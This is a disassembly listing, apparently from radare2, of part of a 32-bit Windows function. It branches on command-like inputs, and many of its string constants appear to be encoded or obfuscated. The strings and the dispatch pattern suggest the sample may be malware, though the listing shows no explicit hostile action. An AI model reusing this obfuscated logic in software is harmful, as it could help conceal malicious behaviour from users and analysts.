call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.eHJhzbAgA8DggNYERU
lea ecx, [ebp - 0x44]
mov esi, eax
call fcn.0042f7c0
push str.SzRx3UChVGHTMUIUQMigJEY
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x79
call fcn.0042f7c0
push str.TUtkVSWsu3JyYpILllsgIT4
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x7a
call fcn.0042f7c0
lea ecx, [ebp - 0x2c]
call fcn.00420320
push esi
push ecx
lea eax, [ebp - 0x1c]
mov byte [ebp - 4], 0x7c
mov ecx, esp
push eax
call fcn.0042eaf0
lea ecx, [ebp - 0x30]
call fcn.004455a0
add esp, 4
mov byte [ebp - 4], 0x7d
push dword [eax]
lea eax, [ebp - 0x2c]
push eax
call fcn.00421a10
add esp, 0xc
mov byte [ebp - 4], 0x7c
lea ecx, [ebp - 0x30]
call fcn.0042e190
push 0x594824
lea ecx, [ebp - 0x48]
call fcn.0042f7c0
push 0x594824
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x7e
call fcn.0042f7c0
push ecx
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x7f
mov ecx, esp
push eax
call fcn.0042eaf0
lea ecx, [ebp - 0x50]
call fcn.004455a0
mov esi, eax
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x80
mov ecx, esp
push eax
call fcn.0042eaf0
lea ecx, [ebp - 0x30]
call fcn.004455a0
add esp, 4
mov byte [ebp - 4], 0x81
lea ecx, [ebp - 0x48]
mov edx, esi
push ecx
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x2c]
push ecx
mov ecx, eax
call fcn.00459130
add esp, 0xc
lea ecx, [ebp - 0x30]
call fcn.0042e190
lea ecx, [ebp - 0x50]
call fcn.0042e190
lea ecx, [ebp - 0x24]
call fcn.0042e190
lea ecx, [ebp - 0x48]
call fcn.0042e190
lea ecx, [ebp - 0x2c]
call fcn.0042e190
lea ecx, [ebp - 0x1c]
call fcn.0042e190
lea ecx, [ebp - 0x3c]
call fcn.0042e190
lea ecx, [ebp - 0x44]
call fcn.0042e190
lea ecx, [ebp - 0x38]
call fcn.0042e190
lea ecx, [ebp - 0xcc]
call fcn.0042d640
jmp 0x52a671
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c4928
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044d250
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042d640
test esi, esi
je 0x529f8c
lea ecx, [ebp - 0x68]
call fcn.0042d290
mov ecx, edi
mov dword [ebp - 4], 0x82
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529f46
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.0052ab80
add esp, 4
lea ecx, [ebp - 0x68]
call fcn.0052ac20
add esp, 4
push eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0xc]
call fcn.00405e00
lea ecx, [ebp - 0x68]
call fcn.0042d640
jmp 0x52a671
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c4958
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044d250
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042d640
test esi, esi
je 0x52a035
lea ecx, [ebp - 0x68]
call fcn.0042d290
mov ecx, edi
mov dword [ebp - 4], 0x83
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529fd8
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.0052ab80
lea eax, [ebp - 0x24]
mov dword [ebp - 0x48], 0xffffffff
push eax
lea edx, [ebp - 0x48]
mov dword [ebp - 0x24], 0xffffffff
lea ecx, [ebp - 0x68]
call fcn.0044af10
mov eax, dword [ebp - 0x38]
add esp, 0xc
push dword [ebp - 0x24]
mov ecx, dword [eax + 0xc]
push dword [ebp - 0x48]
call fcn.00406410
lea ecx, [ebp - 0x68]
call fcn.0042d640
jmp 0x52a671
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c4940
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044d250
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042d640
test esi, esi
je 0x52a077
call fcn.0044d1e0
jmp 0x52a671
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c49a0
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044d250
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042d640
test esi, esi
je 0x52a3a7
lea ecx, [ebp - 0x68]
call fcn.0042d290
mov ecx, edi
mov dword [ebp - 4], 0x84
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a0c7
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052ab80
add esp, 8
lea ecx, [ebp - 0x1c]
call fcn.00420320
lea ecx, [ebp - 0x44]
call fcn.00420320
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x86
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x68]
call fcn.0044b120
add esp, 4
lea ecx, [ebp - 0x44]
call fcn.0044d200
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
jne 0x52a21a
push str.WW1xAeCkfaHhwsDDgU
lea ecx, [ebp - 0x20]
call fcn.0042f7c0
push str.dHRBHTREGQMyIG
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x87
call fcn.0042f7c0
push str.MjRUES1dGJJgZB6U2kCNXEI13J1tQtCw1bqWDEUMYlUggIw
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x88
call fcn.0042f7c0
push 0x594824
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x89
call fcn.0042f7c0
push 0x594824
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x8a
call fcn.0042f7c0
push ecx
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x8b
mov ecx, esp
push eax
call fcn.0042eaf0
lea ecx, [ebp - 0x6c]
call fcn.004455a0
mov edi, eax
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x8c
mov ecx, esp
push eax
call fcn.0042eaf0
lea ecx, [ebp - 0x40]
call fcn.004455a0
mov esi, eax
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x8d
mov ecx, esp
push eax
call fcn.0042eaf0
lea ecx, [ebp - 0x30]
call fcn.004455a0
add esp, 4
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x8e
push ecx
lea ecx, [ebp - 0x24]
mov edx, esi
push ecx
push edi
mov ecx, eax
call fcn.00459130
add esp, 0xc
lea ecx, [ebp - 0x30]
call fcn.0042e190
lea ecx, [ebp - 0x40]
call fcn.0042e190
lea ecx, [ebp - 0x6c]
call fcn.0042e190
lea ecx, [ebp - 0x24]
call fcn.0042e190
lea ecx, [ebp - 0x48]
call fcn.0042e190
lea ecx, [ebp - 0x2c]
call fcn.0042e190
lea ecx, [ebp - 0x3c]
call fcn.0042e190
lea ecx, [ebp - 0x20]
call fcn.0042e190
lea ecx, [ebp - 0x3c]
call fcn.00420320
push str.MmVL2MUlHcKkFCQR3FKpEEA8ZQhBfAMBNTKFTtuIQREqhRUcW4aQtJhRyVQoXwBpaCxBAhPEIQySWlCXRgQ_xREFHvcRMXmEjgTgTxg2LTA
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x8f
call fcn.0042eed0
push str.aDNOgMgZcdIFc
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 0x90
call fcn.0042eed0
push str.eHA0KRREeARzEZ0HFggoHA
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0x91
call fcn.0042eed0
sub esp, 0x18
mov byte [ebp - 4], 0x92
cmp dword [ebp - 0x28], 1
mov ecx, esp
jne 0x52a28f
lea eax, [ebp - 0x100]
push eax
call fcn.0042eb20
lea ecx, [ebp - 0x6c]
call fcn.004451c0
add esp, 0x18
mov byte [ebp - 4], 0x93
mov ecx, 1
jmp 0x52a2b2
lea eax, [ebp - 0xe4]
push eax
call fcn.0042eb20
lea ecx, [ebp - 0x28]
call fcn.004451c0
add esp, 0x18
mov dword [ebp - 4], 0x94
mov ecx, 2
push dword [eax]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x130]
call fcn.0042eed0
mov dword [ebp - 4], 0x95
mov eax, dword [ebp - 0x2c]
test al, 2
je 0x52a2e4
and eax, 0xfffffffd
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x2c], eax
call fcn.0042e190
mov eax, dword [ebp - 0x2c]
mov byte [ebp - 4], 0x97
test al, 1
je 0x52a2f4
lea ecx, [ebp - 0x6c]
call fcn.0042e190
lea ecx, [ebp - 0x130]
call fcn.0042e5e0
mov esi, eax
sub esp, 0x18
mov eax, dword [ebp - 0x38]
mov ecx, esp
mov edi, dword [eax]
lea eax, [ebp - 0x9c]
push eax
call fcn.0042eb20
lea ecx, [ebp - 0x40]
call fcn.004451c0
push esi
mov byte [ebp - 4], 0x98
push dword [ebp - 0x1c]
push edi
push dword [eax]
lea eax, [ebp - 0x3c]
push eax
call fcn.00421a10
add esp, 0x2c
mov byte [ebp - 4], 0x97
lea ecx, [ebp - 0x40]
call fcn.0042e190
push ecx
lea eax, [ebp - 0x3c]
mov ecx, esp
push eax
call fcn.0042eaf0
mov ecx, dword [ebp - 0x38]
call fcn.00525e70
lea ecx, [ebp - 0x130]
call fcn.0042ec80
lea ecx, [ebp - 0x100]
call fcn.0042ec80
lea ecx, [ebp - 0xe4]
call fcn.0042ec80
lea ecx, [ebp - 0x9c]
call fcn.0042ec80
lea ecx, [ebp - 0x3c]
call fcn.0042e190
lea ecx, [ebp - 0x44]
call fcn.0042e190
lea ecx, [ebp - 0x1c]
call fcn.0042e190
lea ecx, [ebp - 0x68]
call fcn.0042d640
jmp 0x52a671
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c4a78
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044d250
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042d640
test esi, esi
je 0x52a470
lea ecx, [ebp - 0x68]
call fcn.0042d290
mov ecx, edi
mov dword [ebp - 4], 0x99
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a3f7
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.0052ab80
add esp, 8
lea ecx, [ebp - 0x68]
push 0x594824
call fcn.0042bec0
lea eax, [ebp - 0x50]
mov dword [ebp - 0x20], 1
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x50], 2
push eax
lea eax, [ebp - 0x70]
push eax
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x68]
call fcn.0044b530
mov eax, dword [ebp - 0x50]
add esp, 0xc
or eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0xc]
call fcn.004146c0
lea ecx, [ebp - 0x68]
call fcn.0042d640
jmp 0x52a671
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c49b8
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044d250
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042d640
test esi, esi
je 0x52a52d
lea ecx, [ebp - 0x68]
call fcn.0042d290
mov ecx, edi
mov dword [ebp - 4], 0x9a
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a4c0
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052ab80
add esp, 4
lea ecx, [ebp - 0x68]
call fcn.0052ac20
add esp, 4
lea ecx, [ebp - 0x130]
test eax, eax
mov eax, dword [ebp - 0x38]
setne byte [ebp - 0x31]
push dword [eax]
call fcn.0042eed0
mov dl, byte [ebp - 0x31]
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x9b
call fcn.00536ac0
lea ecx, [ebp - 0x130]
call fcn.0042ec80
lea ecx, [ebp - 0x68]
call fcn.0042d640
jmp 0x52a671
push edi
lea ecx, [ebp - 0x44]
call fcn.0042e0b0
push str.RU1VEUDAjPPj4qVOjsPPMCQKRPSAnJjEiKKA
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 0x9c
call fcn.0042f7c0
push str.ZVRaueAgnlPUVAjIyk
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x9d
call fcn.0042f7c0
lea ecx, [ebp - 0x1c]
call fcn.00420320
sub esp, 0x18
mov byte [ebp - 4], 0x9f
mov ecx, esp
push dword [ebp - 0x44]
call fcn.0042eed0
lea ecx, [ebp - 0x6c]
call fcn.004304a0
add esp, 0x14
mov byte [ebp - 4], 0xa0
mov esi, dword [eax]
mov ecx, esp
lea eax, [ebp - 0x48]
push eax
call fcn.0042eaf0
lea ecx, [ebp - 0x28]
call fcn.004455a0
add esp, 4
push esi
mov byte [ebp - 4], 0xa1
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.00421a10
add esp, 0xc
lea ecx, [ebp - 0x28]
call fcn.0042e190
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x9f
call fcn.0042e190
push 0x594824
lea ecx, [ebp - 0x24]
call fcn.0042f7c0
push 0x594824
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0xa2
call fcn.0042f7c0
push ecx
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0xa3
mov ecx, esp
push eax
call fcn.0042eaf0
lea ecx, [ebp - 0x6c]
call fcn.004455a0
mov esi, eax
sub esp, 0x14
mov byte [ebp - 4], 0xa4
mov ecx, esp
push 0x5c939c
call fcn.0042eb20
lea ecx, [ebp - 0x28]
call fcn.004451c0
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0xa5
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
mov edx, esi
mov ecx, eax
call fcn.00459130
add esp, 0x24
lea ecx, [ebp - 0x28]
call fcn.0042e190
lea ecx, [ebp - 0x6c]
call fcn.0042e190
lea ecx, [ebp - 0x20]
call fcn.0042e190
lea ecx, [ebp - 0x24]
call fcn.0042e190
lea ecx, [ebp - 0x1c]
call fcn.0042e190
lea ecx, [ebp - 0x48]
call fcn.0042e190
lea ecx, [ebp - 0x2c]
call fcn.0042e190
lea ecx, [ebp - 0x44]
call fcn.0042e190
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
call fcn.00552b3f
call fcn.00552b3f
call fcn.00552b3f
call fcn.00552b3f
call fcn.00552b3f
call fcn.00552b3f
call fcn.00552b3f
call fcn.00552b3f
call fcn.00552b3f
call fcn.00552b3f
call fcn.00552b3f
call fcn.00552b3f
call fcn.00552b3f
call fcn.00552b3f
call fcn.00552b3f
call fcn.00552b3f
call fcn.00552b3f
call fcn.00552b3f
call fcn.00552b3f
push str.invalid_stoi_argument
call fcn.00537608
push str.stoi_argument_out_of_range
call fcn.00537648
call fcn.00552b3f
call fcn.00552b3f
call fcn.00552b3f
call fcn.00552b3f
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
call fcn.00552b3f
call fcn.00552b3f
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push str.invalid_map_K__T__key
call fcn.00537648
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
scasb al, byte es:[edi]
cwde
push edx
add byte [eax + ebx*4 + 0x52], al
add al, al
cwde
push edx
add byte [edx - 0x23ffad68], bl
cwde
push edx
add byte [eax], al
add al, 4
add al, 1
add al, 4
add al, 4
add al, 4
add al, 2
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 3
int3